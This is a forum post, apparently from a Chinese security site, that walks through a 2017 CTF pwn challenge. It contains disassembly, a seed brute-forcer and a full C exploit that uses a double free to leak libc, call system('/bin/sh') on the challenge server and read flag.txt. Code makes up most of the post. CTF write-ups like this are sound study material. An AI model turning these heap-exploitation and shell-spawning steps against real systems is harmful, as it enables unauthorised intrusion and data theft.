首页
社区
课程
招聘
[原创]2017CTF秋-第四题分析
2017-11-1 12:00 3301

[原创]2017CTF秋-第四题分析

ccfer 活跃值
16
2017-11-1 12:00
3301
不熟悉python也不熟悉linux,估计有人会疑问:你是来玩pwn的吗?
和度娘现学了几个gdb命令,所以解题过程也和别人有较大差别

分析点1 用seed地址初始化随机种子:
.text:0000000000001229                 lea     rax, seed
.text:0000000000001230                 mov     cs:seed, rax
.text:0000000000001237                 mov     rax, cs:seed
.text:000000000000123E                 mov     edi, eax        ; seed
.text:0000000000001240                 call    _srand

分析点2 猜中随机数,可得到seed的地址,猜错会显示当前的随机数
.text:000000000000111D                 call    _rand
.text:0000000000001122                 mov     [rbp+var_8], eax
.text:0000000000001125                 mov     [rbp+var_4], 0
.text:000000000000112C                 lea     rdi, aPleaseInputThe ; "Please input the number you guess:"
.text:0000000000001133                 call    _puts
.text:0000000000001138                 lea     rdi, format     ; "> "
.text:000000000000113F                 mov     eax, 0
.text:0000000000001144                 call    _printf
.text:0000000000001149                 mov     eax, 0
.text:000000000000114E                 call    zz_read_int
.text:0000000000001153                 mov     [rbp+var_4], eax
.text:0000000000001156                 mov     eax, [rbp+var_8]
.text:0000000000001159                 cmp     eax, [rbp+var_4]
.text:000000000000115C                 jnz     short loc_117B
.text:000000000000115E                 mov     rax, cs:seed
.text:0000000000001165                 mov     rsi, rax
.text:0000000000001168                 lea     rdi, aG00dj0bYouGetA ; "G00dj0b!You get a secret: %ld!\n"
.text:000000000000116F                 mov     eax, 0
.text:0000000000001174                 call    _printf
.text:0000000000001179                 jmp     short loc_1191
.text:000000000000117B ; ---------------------------------------------------------------------------
.text:000000000000117B loc_117B:                               ; CODE XREF: zz_guess_random+47↑j
.text:000000000000117B                 mov     eax, [rbp+var_8]
.text:000000000000117E                 mov     esi, eax
.text:0000000000001180                 lea     rdi, aWr0ngAnswerThe ; "Wr0ng answer!The number is %d!\n"
.text:0000000000001187                 mov     eax, 0
.text:000000000000118C                 call    _printf

分析点3 destroy是会查表判断,只有small和normal两种可以free,而且可以多次free
.text:0000000000000E92                 lea     rax, destroy_enable_table
.text:0000000000000E99                 mov     eax, [rdx+rax]
.text:0000000000000E9C                 test    eax, eax
.text:0000000000000E9E                 jnz     short loc_ECE
.text:0000000000000EA0                 mov     eax, [rbp+var_4]
.text:0000000000000EA3                 cdqe
.text:0000000000000EA5                 lea     rdx, ds:0[rax*8]
.text:0000000000000EAD                 lea     rax, box_buf
.text:0000000000000EB4                 mov     rax, [rdx+rax]
.text:0000000000000EB8                 mov     rdi, rax        ; ptr
.text:0000000000000EBB                 call    _free
.text:0000000000000EC0                 lea     rdi, aYouHaveDestroy ; "You have destroyed the box!"
.text:0000000000000EC7                 call    _puts
.text:0000000000000ECC                 jmp     short locret_EDA
.text:0000000000000ECE loc_ECE:
.text:0000000000000ECE                 lea     rdi, aYouCanNotDestr ; "You can not destroy the box!"
.text:0000000000000ED5                 call    _puts


解题
于是解题就朝着double free的方向走了,写了两个程序,一个linux下穷举seed,一个windows下完成pwn流程
double free的原理我就不写了,现搜教程学的

代码1 srand的参数seed是32位的,因为进程模块0x1000对齐,所以seed的低12位已知是0x148,穷举seed高20位进行srand初始化,先随便猜错一次,
得到第一次的rand,然后就可以穷举seed用来初始化srand,使得第一次的rand和刚才猜错的那个rand相等时,就穷举成功了seed,本来想把
linux下的rand和srand函数扣出来在windows下实现的,时间关系没有做,只好直接在linux下写个程序并运行:
    int main()
    {
        unsigned int i;
        int n;
        char s[80];

        printf("input first rand:");
        gets(s);
        sscanf(s,"%d",&n);

        for (i=0;i<0x100000;i++)
        {
            srand(i*0x1000+0x148);
            if (rand() == n)
            {
                printf("\nnext rand = %d\n",rand());
                break;
            }
        }
    }


代码2 windows下写了个小程序:
BYTE data1[] = {
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
    0x08,0x21,0x20,0x00,0x00,0x00,0x00,0x00,0x10,0x21,0x20,0x00,0x00,0x00,0x00,0x00,        //202108,202110
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
    0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x0A,
};

BYTE data2[] = { 
    0x28,0x20,0x20,0x00,0x00,0x00,0x00,0x00,                //1buf:little
    0x48,0x20,0x20,0x00,0x00,0x00,0x00,0x00,                //2buf:small,__libc_start_main
    0x18,0x20,0x20,0x00,0x00,0x00,0x00,0x00,0x0A            //3buf:normal,"/bin/sh"
};

BYTE data3[] = { 
    0x2F,0x62,0x69,0x6E,0x2F,0x73,0x68,0x00,0x0A            //"/bin/sh"
};

BYTE data4[] = { 
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0A            //system
};

void main()
{
    char *buffer;
    int sended;
    struct sockaddr_in servaddr;
    SOCKET s;

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    servaddr.sin_family = PF_INET;
    servaddr.sin_port = htons(8888);
    servaddr.sin_addr.s_addr = inet_addr("123.206.22.95"); 
    memset(&(servaddr.sin_zero), 0, 8);
    int r = connect(s, (SOCKADDR *)&servaddr, sizeof(SOCKADDR_IN));
    if (r == 0)
    {
        buffer = recv_and_print_until(s,"> ");    //welcome

        sended = send(s,"5",1,0);        //guess
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"3",1,0);        //
        buffer = recv_and_print_until(s,"> ");        //把输出的rand传给前面linux小程序穷举出seed

        char guess[0x80];
        printf("guess:\n");
        gets(guess);                                //根据linux小程序穷举出的seed输入给这个windows程序

        sended = send(s,"5",1,0);        //guess
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,guess,strlen(guess),0);
        buffer = recv_and_print_until(s,"> ");

        char *ss = strstr(buffer,"secret: ");
        __int64 elfaddr = 0;
        if (ss)
        {
            sscanf(&ss[8],"%I64d",&elfaddr);
            elfaddr -= 0x202148;
            *(__int64 *)&data1[0x10] += elfaddr;
            *(__int64 *)&data1[0x18] += elfaddr;
            *(__int64 *)&data2[0x00] += elfaddr;
            *(__int64 *)&data2[0x08] += elfaddr;
            *(__int64 *)&data2[0x10] += elfaddr;
        }

        sended = send(s,"1",1,0);        //get_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"3",1,0);        //type normal
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"256",3,0);        //size = 0x100
        buffer = recv_and_print_until(s,"> ");

        sended = send(s,"1",1,0);        //get_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"2",1,0);        //type small
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"128",3,0);        //size = 0x80
        buffer = recv_and_print_until(s,"> ");

        sended = send(s,"2",1,0);        //destroy_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"3",1,0);        //type normal
        buffer = recv_and_print_until(s,"> ");

        sended = send(s,"2",1,0);        //destroy_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"2",1,0);        //type small
        buffer = recv_and_print_until(s,"> ");

        sended = send(s,"1",1,0);        //get_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"4",1,0);        //type big
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"400",3,0);        //size = 0x190
        buffer = recv_and_print_until(s,"> ");

        //
        sended = send(s,"3",1,0);        //set msg
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"4",1,0);        //type big
        sended = send(s,(char *)data1,sizeof(data1),0);
        buffer = recv_and_print_until(s,"> ");

        printf("double free\n");
        sended = send(s,"2",1,0);        //destroy_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"2",1,0);        //type small
        buffer = recv_and_print_until(s,"> ");

        printf("set data2 to msg big\n");
        sended = send(s,"3",1,0);        //set msg
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"4",1,0);        //type big
        sended = send(s,(char *)data2,sizeof(data2),0);
        buffer = recv_and_print_until(s,"> ");

        printf("show msg2 after2\n");
        sended = send(s,"4",1,0);        //show msg
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"2",1,0);        //type small,__libc_start_main
        buffer = recv_and_print_until(s,"> ");

        unsigned __int64 systemaddr = 0;
        int i;
        for (i=0;i<8;i++)
        {
            if (buffer[i] == 0x0A)
            {
                buffer[i] = 0;
                buffer[i+1] = 0;
                buffer[i+2] = 0;
                buffer[i+3] = 0;
                break;
            }
        }

        systemaddr = *(unsigned __int64 *)&buffer[0];
        systemaddr -= 0x20740;            //__libc_start_main
        systemaddr += 0x45390;            //system
        *(unsigned __int64 *)&data4[0] = systemaddr;

        printf("set data3 to msg small\n");
        sended = send(s,"3",1,0);        //set msg
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"2",1,0);        //type small
        sended = send(s,(char *)data3,sizeof(data3),0);
        buffer = recv_and_print_until(s,"> ");

        printf("set data4 to msg normal\n");
        sended = send(s,"3",1,0);        //set msg
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"3",1,0);        //type normal
        sended = send(s,(char *)data4,sizeof(data4),0);
        buffer = recv_and_print_until(s,"> ");

        printf("system\n");
        sended = send(s,"2",1,0);        //destroy_a_box
        buffer = recv_and_print_until(s,"> ");
        sended = send(s,"2",1,0);        //type normal

        //sended = send(s,"ls\n",3,0);
        //buffer = recv_and_print_until(s,"");            //不去写这个字符分析了,肉眼观察返回的文件名可看到flag.txt,下次直接cat flag.txt

        sended = send(s,"cat flag.txt\n",13,0);
        buffer = recv_and_print_until(s,"}");
    }
}


最后得到结果:flag{5bab95a4b3fc901672b307b99e065cf2}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s1ber 2018-7-21 17:01
2
0
写的很好
雪    币: 4871
活跃值: (821)
能力值: ( LV13,RANK:319 )
在线值:
发帖
回帖
粉丝
notwolf 4 2018-7-29 21:01
3
0
c语言写exp真的很拉风
游客
登录 | 注册 方可回帖
返回